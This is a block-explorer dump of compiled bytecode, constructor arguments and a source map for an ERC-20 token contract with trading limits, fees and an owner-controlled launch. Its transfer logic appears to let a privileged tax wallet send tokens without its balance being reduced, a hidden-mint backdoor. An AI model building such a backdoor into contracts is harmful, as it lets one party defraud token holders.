20152714e6f2045544820746f20776974686472617760701b6044820152606401610498565b60405133904780156108fc02916000818181858888f19350505050158015610512573d6000803e3d6000fd5b50565b6000546001600160a01b0316331461053f5760405162461bcd60e51b81526004016104989061188e565b61054b6012600a611868565b610559906305f5e100611877565b600f556105686012600a611868565b610576906305f5e100611877565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b06012600a611868565b6105be906305f5e100611877565b60405190815260200160405180910390a1565b6000546001600160a01b031633146105fb5760405162461bcd60e51b81526004016104989061188e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066f5760405162461bcd60e51b81526004016104989061188e565b601454600160a01b900460ff16156106c95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610498565b6014805462ff00ff60a01b19166201000160a01b179055565b60006103da338484610bb5565b6000546001600160a01b031633146107195760405162461bcd60e51b81526004016104989061188e565b601454600160a01b900460ff16156107735760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610498565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107bc9030906107ae6012600a611868565b61045f906305f5e100611877565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561080f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083391906118c3565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610895573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b991906118c3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610906573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092a91906118c3565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610972816001600160a01b031660009081526001602052604090205490565b6000806109876000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ef573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a1491906118e0565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610512919061190e565b6001600160a01b038316610af35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610498565b6001600160a01b038216610b545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610498565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610498565b6001600160a01b038216610c7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610498565b60008111610cdd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610498565b6001600160a01b038316600090815260046020526040812054819060ff16158015610d2157506001600160a01b03841660009081526004602052604090205460ff16155b156110b957610d526064610d4c600b54600e5411610d4157600754610d45565b6009545b8690611181565b9061120a565b915060115483118015610d6e5750601454600160b01b900460ff165b8015610d7d5750600d54600e54115b601454909150600160a01b900460ff16610dd25760405162461bcd60e51b815260206004820152601660248201527554726164696e67206973206e6f74206f70656e65642160501b6044820152606401610498565b60065460ff1615610eb7576013546001600160a01b03858116911614801590610e0957506014546001600160a01b03858116911614155b15610eb757326000908152600560205260409020544311610ea45760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610498565b3260009081526005602052604090204390555b6014546001600160a01b038681169116148015610ee257506013546001600160a01b03858116911614155b8015610f0757506001600160a01b03841660009081526004602052604090205460ff16155b15610fef57600f54831115610f5e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610498565b60105483610f81866001600160a01b031660009081526001602052604090205490565b610f8b9190611930565b1115610fd95760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610498565b600e8054906000610fe983611943565b91905055505b6014546001600160a01b03858116911614801561101557506001600160a01b0385163014155b156110425761103f6064610d4c600c54600e541161103557600854610d45565b600a548690611181565b91505b30600090815260016020526040902054601454600160a81b900460ff1615801561107957506014546001600160a01b038681169116145b80156110825750815b156110b7576011548111156110ae576110ae6110a9856110a48460125461124c565b61124c565b611261565b6110b7476113db565b505b811561113357306000908152600160205260409020546110d9908361141d565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061112a9086815260200190565b60405180910390a35b61113f8585858561147c565b505050505050565b6000818484111561116b5760405162461bcd60e51b81526004016104989190611648565b506000611178848661195c565b95945050505050565b600082600003611193575060006103de565b600061119f8385611877565b9050826111ac858361196f565b146112035760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610498565b9392505050565b600061120383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115d8565b600081831161125b5782611203565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112a9576112a9611991565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611302573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132691906118c3565b8160018151811061133957611339611991565b6001600160a01b03928316602091820292909201015260135461135f9130911684610a91565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113989085906000908690309042906004016119a7565b600060405180830381600087803b1580156113b257600080fd5b505af11580156113c6573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015611419573d6000803e3d6000fd5b5050565b60008061142a8385611930565b9050838110156112035760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610498565b6006546000906001600160a01b038681166101009092041614611590576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0388166000908152600190915291909120546114eb918590611147565b6001600160a01b0386166000908152600160205260409020556115306115118484611606565b6001600160a01b0386166000908152600160205260409020549061141d565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61157a8686611606565b60405190815260200160405180910390a36115cd565b6001600160a01b0384166000908152600160205260409020546115b3908461141d565b6001600160a01b0385166000908152600160205260409020555b506001949350505050565b600081836115f95760405162461bcd60e51b81526004016104989190611648565b506000611178848661196f565b600061120383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611147565b600060208083528351808285015260005b8181101561167557858101830151858201604001528201611659565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461051257600080fd5b600080604083850312156116be57600080fd5b82356116c981611696565b946020939093013593505050565b6000806000606084860312156116ec57600080fd5b83356116f781611696565b9250602084013561170781611696565b929592945050506040919091013590565b60006020828403121561172a57600080fd5b813561120381611696565b6000806040838503121561174857600080fd5b823561175381611696565b9150602083013561176381611696565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117bf5781600019048211156117a5576117a561176e565b808516156117b257918102915b93841c9390800290611789565b509250929050565b6000826117d6575060016103de565b816117e3575060006103de565b81600181146117f957600281146118035761181f565b60019150506103de565b60ff8411156118145761181461176e565b50506001821b6103de565b5060208310610133831016604e8410600b8410161715611842575081810a6103de565b61184c8383611784565b80600019048211156118605761186061176e565b029392505050565b600061120360ff8416836117c7565b80820281158282048414176103de576103de61176e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118d557600080fd5b815161120381611696565b6000806000606084860312156118f557600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561192057600080fd5b8151801515811461120357600080fd5b808201808211156103de576103de61176e565b6000600182016119555761195561176e565b5060010190565b818103818111156103de576103de61176e565b60008261198c57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119f75784516001600160a01b0316835293830193918301916001016119d2565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ac15341f7395af7c491c2679ef724900f70c4f833b4e2de2f132d23b77cc146a64736f6c63430008130033

00000000000000000000000010b8f82c40a92796415220e45baa443aaf5e8499

-----Decoded View---------------
Arg [0] : _praxAddress (address): 0x10B8f82c40a92796415220e45baA443aaf5e8499

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000010b8f82c40a92796415220e45baa443aaf5e8499

3686:8559:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7643:83;;;;;;;;;;-1:-1:-1;7713:5:0;;;;;;;;;;;;-1:-1:-1;;;7713:5:0;;;;7643:83;;;;;;;:::i;:::-;;;;;;;;7153:161;;;;;;;;;;-1:-1:-1;7153:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7153:161:0;1023:187:1;4838:56:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4838:56:0;1215:177:1;4901:50:0;;;;;;;;;;;;;;;;7920:95;;;;;;;;;;;;;:::i;7322:313::-;;;;;;;;;;-1:-1:-1;7322:313:0;;;;;:::i;:::-;;:::i;7829:83::-;;;;;;;;;;-1:-1:-1;7829:83:0;;4530:2;2000:36:1;;1988:2;1973:18;7829:83:0;1858:184:1;6630:185:0;;;;;;;;;;;;;:::i;:::-;;6281:200;;;;;;;;;;;;;:::i;8023:119::-;;;;;;;;;;-1:-1:-1;8023:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;8116:18:0;8089:7;8116:18;;;:9;:18;;;;;;;8023:119;2088:148;;;;;;;;;;;;;:::i;12068:174::-;;;;;;;;;;;;;:::i;4716:53::-;;;;;;;;;;;;;;;;1874:79;;;;;;;;;;-1:-1:-1;1912:7:0;1939:6;1874:79;;-1:-1:-1;;;;;1939:6:0;;;2445:51:1;;2433:2;2418:18;1874:79:0;2299:203:1;4776:55:0;;;;;;;;;;;;;;;;7734:87;;;;;;;;;;-1:-1:-1;7806:7:0;;;;;;;;;;;;-1:-1:-1;;;7806:7:0;;;;7734:87;;6827:167;;;;;;;;;;-1:-1:-1;6827:167:0;;;;;:::i;:::-;;:::i;4085:40::-;;;;;;;;;;-1:-1:-1;4085:40:0;;;;;;;;5650:623;;;;;;;;;;;;;:::i;7002:143::-;;;;;;;;;;-1:-1:-1;7002:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7110:18:0;;;7083:7;7110:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7002:143;7153:161;7228:4;7245:39;386:10;7268:7;7277:6;7245:8;:39::i;:::-;-1:-1:-1;7302:4:0;7153:161;;;;;:::o;7920:95::-;7973:7;4588:13;4530:2;4588;:13;:::i;:::-;4574:27;;:11;:27;:::i;:::-;7993:14;;7920:95;:::o;7322:313::-;7420:4;7437:36;7447:6;7455:9;7466:6;7437:9;:36::i;:::-;7484:121;7493:6;386:10;7515:89;7553:6;7515:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7515:19:0;;;;;;:11;:19;;;;;;;;386:10;7515:33;;;;;;;;;;:37;:89::i;:::-;7484:8;:121::i;:::-;-1:-1:-1;7623:4:0;7322:313;;;;;:::o;6630:185::-;2001:6;;-1:-1:-1;;;;;2001:6:0;386:10;2001:22;1993:67;;;;-1:-1:-1;;;1993:67:0;;;;;;;:::i;:::-;;;;;;;;;6721:1:::1;6697:21;:25;6689:56;;;::::0;-1:-1:-1;;;6689:56:0;;5151:2:1;6689:56:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;-1:-1:-1;;;5209:18:1;;;5202:48;5267:18;;6689:56:0::1;4949:342:1::0;6689:56:0::1;6756:51;::::0;6764:10:::1;::::0;6785:21:::1;6756:51:::0;::::1;;;::::0;::::1;::::0;;;6785:21;6764:10;6756:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;6630:185::o:0;6281:200::-;2001:6;;-1:-1:-1;;;;;2001:6:0;386:10;2001:22;1993:67;;;;-1:-1:-1;;;1993:67:0;;;;;;;:::i;:::-;4588:13:::1;4530:2;4588;:13;:::i;:::-;4574:27;::::0;:11:::1;:27;:::i;:::-;6338:12;:22:::0;4588:13:::1;4530:2;4588;:13;:::i;:::-;4574:27;::::0;:11:::1;:27;:::i;:::-;6371:14;:22:::0;6404:20:::1;:26:::0;;-1:-1:-1;;6404:26:0::1;::::0;;6446:27:::1;4588:13;4530:2;-1:-1:-1::0;4588:13:0::1;:::i;:::-;4574:27;::::0;:11:::1;:27;:::i;:::-;6446;::::0;1361:25:1;;;1349:2;1334:18;6446:27:0::1;;;;;;;6281:200::o:0;2088:148::-;2001:6;;-1:-1:-1;;;;;2001:6:0;386:10;2001:22;1993:67;;;;-1:-1:-1;;;1993:67:0;;;;;;;:::i;:::-;2195:1:::1;2179:6:::0;;2158:40:::1;::::0;-1:-1:-1;;;;;2179:6:0;;::::1;::::0;2158:40:::1;::::0;2195:1;;2158:40:::1;2226:1;2209:19:::0;;-1:-1:-1;;;;;;2209:19:0::1;::::0;;2088:148::o;12068:174::-;2001:6;;-1:-1:-1;;;;;2001:6:0;386:10;2001:22;1993:67;;;;-1:-1:-1;;;1993:67:0;;;;;;;:::i;:::-;12138:11:::1;::::0;-1:-1:-1;;;12138:11:0;::::1;;;12137:12;12129:47;;;::::0;-1:-1:-1;;;12129:47:0;;5498:2:1;12129:47:0::1;::::0;::::1;5480:21:1::0;5537:2;5517:18;;;5510:30;5576:25;5556:18;;;5549:53;5619:18;;12129:47:0::1;5296:347:1::0;12129:47:0::1;12187:11;:18:::0;;-1:-1:-1;;;;12216:18:0;-1:-1:-1;;;12216:18:0;;;12068:174::o;6827:167::-;6905:4;6922:42;386:10;6946:9;6957:6;6922:9;:42::i;5650:623::-;2001:6;;-1:-1:-1;;;;;2001:6:0;386:10;2001:22;1993:67;;;;-1:-1:-1;;;1993:67:0;;;;;;;:::i;:::-;5720:11:::1;::::0;-1:-1:-1;;;5720:11:0;::::1;;;5719:12;5711:47;;;::::0;-1:-1:-1;;;5711:47:0;;5850:2:1;5711:47:0::1;::::0;::::1;5832:21:1::0;5889:2;5869:18;;;5862:30;5928:25;5908:18;;;5901:53;5971:18;;5711:47:0::1;5648:347:1::0;5711:47:0::1;5771:15;:80:::0;;-1:-1:-1;;;;;;5771:80:0::1;5808:42;5771:80:::0;;::::1;::::0;;;5864:58:::1;::::0;5881:4:::1;::::0;4588:13:::1;4530:2;4588;:13;:::i;:::-;4574:27;::::0;:11:::1;:27;:::i;5864:58::-;5967:15;;;;;;;;;-1:-1:-1::0;;;;;5967:15:0::1;-1:-1:-1::0;;;;;5967:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5949:55:0::1;;6013:4;6020:15;;;;;;;;;-1:-1:-1::0;;;;;6020:15:0::1;-1:-1:-1::0;;;;;6020:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5949:94;::::0;-1:-1:-1;;;;;;5949:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6486:15:1;;;5949:94:0::1;::::0;::::1;6468:34:1::0;6538:15;;6518:18;;;6511:43;6403:18;;5949:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5933:13;:110:::0;;-1:-1:-1;;;;;5933:110:0;;::::1;-1:-1:-1::0;;;;;;5933:110:0;;::::1;;::::0;;6054:15:::1;::::0;::::1;:31;6093:21;6124:4;6130:24;6124:4:::0;-1:-1:-1;;;;;8116:18:0;8089:7;8116:18;;;:9;:18;;;;;;;8023:119;6130:24:::1;6155:1;6157::::0;6159:7:::1;1912::::0;1939:6;-1:-1:-1;;;;;1939:6:0;;1874:79;6159:7:::1;6054:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6054:129:0;;;-1:-1:-1;;;;;6924:15:1;;;6054:129:0::1;::::0;::::1;6906:34:1::0;6956:18;;;6949:34;;;;6999:18;;;6992:34;;;;7042:18;;;7035:34;7106:15;;;7085:19;;;7078:44;6167:15:0::1;7138:19:1::0;;;7131:35;6840:19;;6054:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6201:13:0::1;::::0;6232:15:::1;::::0;6194:71:::1;::::0;-1:-1:-1;;;6194:71:0;;-1:-1:-1;;;;;6232:15:0;;::::1;6194:71;::::0;::::1;7662:51:1::0;-1:-1:-1;;7729:18:1;;;7722:34;6201:13:0;::::1;::::0;-1:-1:-1;6194:29:0::1;::::0;7635:18:1;;6194:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;11721:335::-:0;-1:-1:-1;;;;;11814:19:0;;11806:68;;;;-1:-1:-1;;;11806:68:0;;8251:2:1;11806:68:0;;;8233:21:1;8290:2;8270:18;;;8263:30;8329:34;8309:18;;;8302:62;-1:-1:-1;;;8380:18:1;;;8373:34;8424:19;;11806:68:0;8049:400:1;11806:68:0;-1:-1:-1;;;;;11893:21:0;;11885:68;;;;-1:-1:-1;;;11885:68:0;;8656:2:1;11885:68:0;;;8638:21:1;8695:2;8675:18;;;8668:30;8734:34;8714:18;;;8707:62;-1:-1:-1;;;8785:18:1;;;8778:32;8827:19;;11885:68:0;8454:398:1;11885:68:0;-1:-1:-1;;;;;11964:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;12016:32;;1361:25:1;;;12016:32:0;;1334:18:1;12016:32:0;;;;;;;11721:335;;;:::o;8150:2376::-;-1:-1:-1;;;;;8238:18:0;;8230:68;;;;-1:-1:-1;;;8230:68:0;;9059:2:1;8230:68:0;;;9041:21:1;9098:2;9078:18;;;9071:30;9137:34;9117:18;;;9110:62;-1:-1:-1;;;9188:18:1;;;9181:35;9233:19;;8230:68:0;8857:401:1;8230:68:0;-1:-1:-1;;;;;8317:16:0;;8309:64;;;;-1:-1:-1;;;8309:64:0;;9465:2:1;8309:64:0;;;9447:21:1;9504:2;9484:18;;;9477:30;9543:34;9523:18;;;9516:62;-1:-1:-1;;;9594:18:1;;;9587:33;9637:19;;8309:64:0;9263:399:1;8309:64:0;8401:1;8392:6;:10;8384:64;;;;-1:-1:-1;;;8384:64:0;;9869:2:1;8384:64:0;;;9851:21:1;9908:2;9888:18;;;9881:30;9947:34;9927:18;;;9920:62;-1:-1:-1;;;9998:18:1;;;9991:39;10047:19;;8384:64:0;9667:405:1;8384:64:0;-1:-1:-1;;;;;8543:24:0;;8461:21;8543:24;;;:18;:24;;;;;;8461:21;;8543:24;;8542:25;:52;;;;-1:-1:-1;;;;;;8572:22:0;;;;;;:18;:22;;;;;;;;8571:23;8542:52;8538:1735;;;8639:76;8711:3;8639:67;8661:15;;8651:9;;:25;8650:55;;8691:14;;8650:55;;;8678:12;;8650:55;8639:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8623:92;;8759:19;;8750:6;:28;:43;;;;-1:-1:-1;8782:11:0;;-1:-1:-1;;;8782:11:0;;;;8750:43;:75;;;;;8807:18;;8797:9;;:28;8750:75;8850:11;;8730:95;;-1:-1:-1;;;;8850:11:0;;;;8842:46;;;;-1:-1:-1;;;8842:46:0;;10279:2:1;8842:46:0;;;10261:21:1;10318:2;10298:18;;;10291:30;-1:-1:-1;;;10337:18:1;;;10330:52;10399:18;;8842:46:0;10077:346:1;8842:46:0;8909:20;;;;8905:490;;;8968:15;;-1:-1:-1;;;;;8954:30:0;;;8968:15;;8954:30;;;;:62;;-1:-1:-1;9002:13:0;;-1:-1:-1;;;;;8988:28:0;;;9002:13;;8988:28;;8954:62;8950:430;;;9104:9;9075:39;;;;:28;:39;;;;;;9146:12;-1:-1:-1;9041:242:0;;;;-1:-1:-1;;;9041:242:0;;10630:2:1;9041:242:0;;;10612:21:1;10669:2;10649:18;;;10642:30;10708:34;10688:18;;;10681:62;10779:34;10759:18;;;10752:62;-1:-1:-1;;;10830:19:1;;;10823:40;10880:19;;9041:242:0;10428:477:1;9041:242:0;9335:9;9306:39;;;;:28;:39;;;;;9348:12;9306:54;;8950:430;9423:13;;-1:-1:-1;;;;;9415:21:0;;;9423:13;;9415:21;:55;;;;-1:-1:-1;9454:15:0;;-1:-1:-1;;;;;9440:30:0;;;9454:15;;9440:30;;9415:55;:83;;;;-1:-1:-1;;;;;;9476:22:0;;;;;;:18;:22;;;;;;;;9474:24;9415:83;9411:313;;;9538:12;;9528:6;:22;;9520:60;;;;-1:-1:-1;;;9520:60:0;;11112:2:1;9520:60:0;;;11094:21:1;11151:2;11131:18;;;11124:30;11190:27;11170:18;;;11163:55;11235:18;;9520:60:0;10910:349:1;9520:60:0;9633:14;;9623:6;9607:13;9617:2;-1:-1:-1;;;;;8116:18:0;8089:7;8116:18;;;:9;:18;;;;;;;8023:119;9607:13;:22;;;;:::i;:::-;:40;;9599:79;;;;-1:-1:-1;;;9599:79:0;;11596:2:1;9599:79:0;;;11578:21:1;11635:2;11615:18;;;11608:30;11674:28;11654:18;;;11647:56;11720:18;;9599:79:0;11394:350:1;9599:79:0;9697:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9411:313;9749:13;;-1:-1:-1;;;;;9743:19:0;;;9749:13;;9743:19;:43;;;;-1:-1:-1;;;;;;9766:20:0;;9781:4;9766:20;;9743:43;9740:178;;;9823:79;9898:3;9823:70;9845:16;;9835:9;;:26;9834:58;;9877:15;;9834:58;;;9863:13;;9823:6;;:10;:70::i;:79::-;9807:95;;9740:178;9983:4;9934:28;8116:18;;;:9;:18;;;;;;10009:6;;-1:-1:-1;;;10009:6:0;;;;10008:7;:30;;;;-1:-1:-1;10025:13:0;;-1:-1:-1;;;;;10019:19:0;;;10025:13;;10019:19;10008:30;:51;;;;;10042:17;10008:51;10004:258;;;10104:19;;10083:20;:40;10080:112;;;10125:67;10142:49;10146:6;10153:37;10157:20;10178:11;;10153:3;:37::i;:::-;10142:3;:49::i;:::-;10125:16;:67::i;:::-;10211:35;10224:21;10211:12;:35::i;:::-;8596:1677;8538:1735;10288:15;;10285:173;;10360:4;10342:24;;;;:9;:24;;;;;;:43;;10371:13;10342:28;:43::i;:::-;10335:4;10317:24;;;;:9;:24;;;;;;;:68;;;;10403:43;;-1:-1:-1;;;;;10403:43:0;;;;;;;10432:13;1361:25:1;;1349:2;1334:18;;1215:177;10403:43:0;;;;;;;;10285:173;10470:48;10486:4;10492:2;10496:6;10504:13;10470:15;:48::i;:::-;;8219:2307;;8150:2376;;;:::o;766:190::-;852:7;888:12;880:6;;;;872:29;;;;-1:-1:-1;;;872:29:0;;;;;;;;:::i;:::-;-1:-1:-1;912:9:0;924:5;928:1;924;:5;:::i;:::-;912:17;766:190;-1:-1:-1;;;;;766:190:0:o;964:246::-;1022:7;1046:1;1051;1046:6;1042:47;;-1:-1:-1;1076:1:0;1069:8;;1042:47;1099:9;1111:5;1115:1;1111;:5;:::i;:::-;1099:17;-1:-1:-1;1144:1:0;1135:5;1139:1;1099:17;1135:5;:::i;:::-;:10;1127:56;;;;-1:-1:-1;;;1127:56:0;;12446:2:1;1127:56:0;;;12428:21:1;12485:2;12465:18;;;12458:30;12524:34;12504:18;;;12497:62;-1:-1:-1;;;12575:18:1;;;12568:31;12616:19;;1127:56:0;12244:397:1;1127:56:0;1201:1;964:246;-1:-1:-1;;;964:246:0:o;1218:132::-;1276:7;1303:39;1307:1;1310;1303:39;;;;;;;;;;;;;;;;;:3;:39::i;11124:98::-;11181:7;11208:1;11206;:3;11205:9;;11213:1;11205:9;;;-1:-1:-1;11211:1:0;11124:98;-1:-1:-1;11124:98:0:o;11230:483::-;5233:6;:13;;-1:-1:-1;;;;5233:13:0;-1:-1:-1;;;5233:13:0;;;11332:16:::1;::::0;;11346:1:::1;11332:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11332:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11332:16:0::1;11308:40;;11377:4;11359;11364:1;11359:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11359:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11403:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11403:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11359:7;;11403:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11393:4;11398:1;11393:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11393:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11468:15:::1;::::0;11436:62:::1;::::0;11453:4:::1;::::0;11468:15:::1;11486:11:::0;11436:8:::1;:62::i;:::-;11509:15;::::0;:196:::1;::::0;-1:-1:-1;;;11509:196:0;;-1:-1:-1;;;;;11509:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11590:11;;11509:15:::1;::::0;11632:4;;11659::::1;::::0;11679:15:::1;::::0;11509:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5269:6:0;:14;;-1:-1:-1;;;;5269:14:0;;;-1:-1:-1;;;;11230:483:0:o;6489:95::-;6546:13;;:30;;:13;;;;-1:-1:-1;;;;;6546:13:0;;:30;;;;;;;;;;;;:13;:30;;;;;;;;;;;;;;;;;;;;;6489:95;:::o;435:179::-;493:7;;525:5;529:1;525;:5;:::i;:::-;513:17;;554:1;549;:6;;541:46;;;;-1:-1:-1;;;541:46:0;;14097:2:1;541:46:0;;;14079:21:1;14136:2;14116:18;;;14109:30;14175:29;14155:18;;;14148:57;14222:18;;541:46:0;13895:351:1;10534:582:0;10709:13;;10681:4;;-1:-1:-1;;;;;10701:21:0;;;10709:13;;;;;10701:21;10698:387;;10757:100;;;;;;;;;;;-1:-1:-1;;;10757:100:0;;;;;;;;-1:-1:-1;;;;;10757:15:0;;-1:-1:-1;10757:15:0;;;:9;:15;;;;;;;;:100;;10795:6;;10757:19;:100::i;:::-;-1:-1:-1;;;;;10739:15:0;;;;;;:9;:15;;;;;:118;10888:40;10906:21;:6;10917:9;10906:10;:21::i;:::-;-1:-1:-1;;;;;10888:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10874:13:0;;;;;;;:9;:13;;;;;:54;;;;10948:41;;;10967:21;:6;10978:9;10967:10;:21::i;:::-;10948:41;;1361:25:1;;;1349:2;1334:18;10948:41:0;;;;;;;10698:387;;;-1:-1:-1;;;;;11048:13:0;;;;;;:9;:13;;;;;;:25;;11066:6;11048:17;:25::i;:::-;-1:-1:-1;;;;;11034:13:0;;;;;;:9;:13;;;;;:39;10698:387;-1:-1:-1;11104:4:0;10534:582;;;;;;:::o;1358:189::-;1444:7;1479:12;1472:5;1464:28;;;;-1:-1:-1;;;1464:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1503:9:0;1515:5;1519:1;1515;:5;:::i;622:136::-;680:7;707:43;711:1;714;707:43;;;;;;;;;;;;;;;;;:3;:43::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;